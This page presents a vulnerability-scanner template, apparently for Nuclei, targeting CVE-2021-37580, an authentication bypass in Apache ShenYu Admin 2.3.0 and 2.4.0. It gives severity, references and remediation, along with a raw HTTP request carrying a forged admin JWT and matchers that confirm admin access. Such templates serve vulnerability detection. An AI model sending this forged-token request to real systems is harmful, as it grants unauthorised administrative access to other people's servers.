CVE-2021-37580: Apache ShenYu Admin JWT - Authentication Bypass

2025-08-01 Apache ShenYu Admin PoC Public

Description

Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.

PoC

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT - Authentication Bypass
  author: pdteam
  severity: critical
  description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
  remediation: |
    Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
    - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
    - http://www.openwall.com/lists/oss-security/2021/11/16/1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
    epss-score: 0.41851
    epss-percentile: 0.98616
    cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shenyu
  tags: cve2021,cve,apache,jwt,shenyu,vkev,vuln

http:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e58c6ce8f8d74c6dce5946009c7322e27d5803225b010ae3cb5c7f5b4f67021f022100fd8b9d0585554771ba5bb4fc32317ccb3f3eb4567ac9bfbfbaf1a1ad280f388a:922c64590222798bb761d5b6d8e72950

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